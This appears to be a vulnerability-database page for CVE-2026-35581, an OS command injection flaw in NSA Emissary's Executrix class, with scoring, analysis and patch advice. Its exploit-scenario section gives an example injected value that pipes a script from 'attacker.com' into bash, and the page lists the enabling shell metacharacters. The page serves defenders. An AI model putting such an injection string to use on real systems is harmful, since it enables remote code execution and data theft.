Skip to main content

Emissary CVE-2026-35581

| EUVDEUVD-2026-19730 HIGH
OS Command Injection (CWE-78)
2026-04-07 GitHub_M GHSA-6c37-7w4p-jg9v
7.2
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious PLACE_NAME parameter
  2. Exploit
    Inject shell metacharacters into configuration
  3. Execution
    Executrix concatenates unsanitized value
  4. Impact
    Execute arbitrary commands via /bin/sh -c

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires high-privilege administrative access to Emissary versions prior to 8.39.0. Attacker must configure or modify the PLACE_NAME parameter in Emissary's configuration to inject shell metacharacters (;, |, $, `, (, ), etc.). Exploitation occurs when Executrix utility processes workflow commands using this malicious configuration.

Impact

Real-world exploitation risk requires careful contextualization of conflicting severity signals. The CVSS 7.2 High score indicates significant impact potential (complete confidentiality, integrity, and availability compromise per C:H/I:H/A:H), with network attack vector (AV:N) and low complexity (AC:L) suggesting ease of exploitation once access is obtained. However, the critical limiting factor is the PR:H (high privileges required) constraint, meaning only authenticated administrators can exploit this vulnerability. This substantially reduces the realistic threat surface compared to unauthenticated remote code execution vulnerabilities. In enterprise environments where administrative access follows principle of least privilege and monitoring practices, exploitation requires either insider threat or prior credential compromise. The attack is not automatable at scale due to authentication requirements. EPSS probability data is unavailable for assessment, and no CISA KEV listing exists indicating active exploitation campaigns. The vulnerability's severity stems from post-exploitation impact rather than accessibility-if an attacker has already compromised administrator credentials, this provides an additional command execution vector within the Emissary workflow engine context. Organizations should prioritize patching based on whether Emissary handles sensitive data workflows and the strength of existing administrative access controls.

Exploit ScenarioDerived

An attacker who has compromised Emissary administrator credentials (through phishing, credential stuffing, or lateral movement) modifies the PLACE_NAME configuration parameter to include malicious shell metacharacters, such as setting PLACE_NAME to legitimate_name; curl attacker.com/payload.sh | bash. When the Executrix utility constructs the next shell command for workflow execution, the insufficient sanitization allows the injected commands to execute under the Emissary process context via /bin/sh -c, enabling the attacker to exfiltrate sensitive workflow data, establish persistent backdoors, or pivot to connected systems within the P2P network. The low attack complexity (AC:L) means exploitation requires only basic command injection knowledge once administrative access exists.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 07, 2026

Command injection in NSA Emissary P2P workflow engine (versions prior to 8.39.0) allows authenticated remote administrators to execute arbitrary shell commands through unsanitized PLACE_NAME parameter values. The Executrix utility class passes configuration-derived values directly to /bin/sh -c with only space-to-underscore sanitization, enabling shell metacharacters (semicolons, pipes, backticks) to trigger command execution. CVSS 7.2 (High) reflects network accessibility with low attack complexity, though exploitation requires high-privilege administrator credentials (PR:H). No public exploit code identified at time of analysis, with EPSS data unavailable for this recent CVE. Vendor-released patch available in version 8.39.0 per GitHub security advisory.

RemediationAI

Upgrade NSA Emissary to version 8.39.0 or later, which implements proper input sanitization for the PLACE_NAME parameter and other configuration-derived values passed to shell execution contexts. The vendor-released patch addresses the root cause by replacing dangerous string concatenation with parameterized command construction or comprehensive sanitization that neutralizes shell metacharacters beyond just spaces. Organizations should obtain the patched version from the official NSA GitHub repository and follow standard change management procedures for workflow engine updates. Review existing PLACE_NAME configuration values for any evidence of malicious metacharacter injection that may indicate prior exploitation attempts. If immediate patching is not feasible, implement compensating controls including strict validation of all Emissary configuration parameters, enhanced monitoring of administrative account activity within Emissary systems, and restriction of administrative access to trusted networks only. Consult the official security advisory at https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v for additional vendor-specific remediation guidance and implementation notes.

Affected VersionsENISA

emissary < 8.39.0

Affected Packages

maven gov.nsa.emissary:emissary fix: 8.39.0
euvd emissary fix: 8.39.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Emissary is the National Security Agency's open-source P2P data-driven workflow engine. The vulnerability resides in the Executrix utility class, which constructs shell commands through string concatenation using configuration parameters including PLACE_NAME. The affected component implements CWE-78 (OS Command Injection) by passing inadequately sanitized input to /bin/sh -c execution context. Only whitespace characters undergo transformation (spaces replaced with underscores), allowing dangerous shell metacharacters like semicolons (command chaining), pipes (command redirection), dollar signs (variable expansion), backticks (command substitution), and parentheses (subshell execution) to remain intact. The CPE identifier cpe:2.3:a:nationalsecurityagency:emissary:*:*:*:*:*:*:*:* confirms this affects the NSA's Emissary product line. Configuration-derived execution paths create persistent injection vectors since PLACE_NAME values typically originate from system configuration files that administrators control.

Know when Emissary gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 08, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 07, 2026 - 15:56 nvd
HIGH 7.2

DescriptionCVE.org

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values - including the PLACE_NAME parameter - with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.

Executive ViewAI

Why It Matters

CVE-2026-35581 affects NSA Emissary P2P workflow engine versions before 8.39.0, allowing authenticated administrators to execute arbitrary commands on affected systems through improper input validation in the PLACE_NAME parameter. Organizations running vulnerable versions face risk of unauthorized code execution by privileged users, potentially enabling lateral movement, data exfiltration, or system compromise.

Business Impact: High
Compensating Controls

Vendor-released patch: NSA Emissary P2P version 8.39.0. Until patched, restrict PLACE_NAME parameter modifications to a minimal set of trusted administrators; implement command-line auditing on affected systems; monitor workflow engine logs for suspicious shell metacharacters in configuration values.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in Emissary Shell Injection and Path Traversal

View all 3

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy